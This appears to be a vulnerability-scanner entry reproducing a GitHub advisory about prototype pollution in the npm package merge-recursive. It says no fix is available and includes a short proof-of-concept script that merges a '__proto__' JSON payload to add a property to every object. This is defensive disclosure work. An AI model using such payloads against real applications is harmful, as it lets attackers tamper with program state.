QID 981119
QID 981119: Nodejs (npm) Security Update for merge-recursive (GHSA-cvxm-f295-x957)
All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.
Proof of concept:
```
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```
## Recommendation
There is currently no fix available.
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-cvxm-f295-x957 for updates pertaining to this vulnerability.
Vendor References
- GHSA-cvxm-f295-x957 -
github.com/advisories/GHSA-cvxm-f295-x957
CVEs related to QID 981119
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-cvxm-f295-x957 | merge-recursive |
|